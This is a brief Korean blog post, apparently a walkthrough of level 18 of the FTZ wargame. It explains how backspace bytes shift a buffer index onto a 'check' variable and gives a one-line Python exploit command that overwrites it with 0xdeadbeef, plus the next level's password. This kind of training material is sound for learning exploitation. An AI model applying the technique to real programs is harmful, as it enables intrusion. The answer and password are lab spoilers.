[FTZ] Level18 Write-up

2019. 7. 9. 04:13Wargame & CTF/FTZ

check값이 \xdeadbeef면 통과이다.

fds로 입력을 받는데, fds는 ebp-100이고, check는 ebp-104이다.

입력값이 0x08일 경우에 백스페이스때문에 fds(ebp-100)이 줄어들게 된다.

0x08을 4개 넣으면 ebp-100-4=ebp-104, 즉 count쪽으로 가게 된다.

(python -c 'print "\x08\x08\x08\x08\xef\xbe\xad\xde"';cat)|./attackme

Level19 : swimming in pink

'Wargame & CTF > FTZ' 카테고리의 다른 글

[FTZ] Level20 Write-up  (0) 2019.07.09
[FTZ] Level19 Write-up  (0) 2019.07.09
[FTZ] Level17 Write-up  (0) 2019.06.23
[FTZ] Level16 Write-up  (0) 2019.06.23
[FTZ] Level15 Write-up  (0) 2019.06.23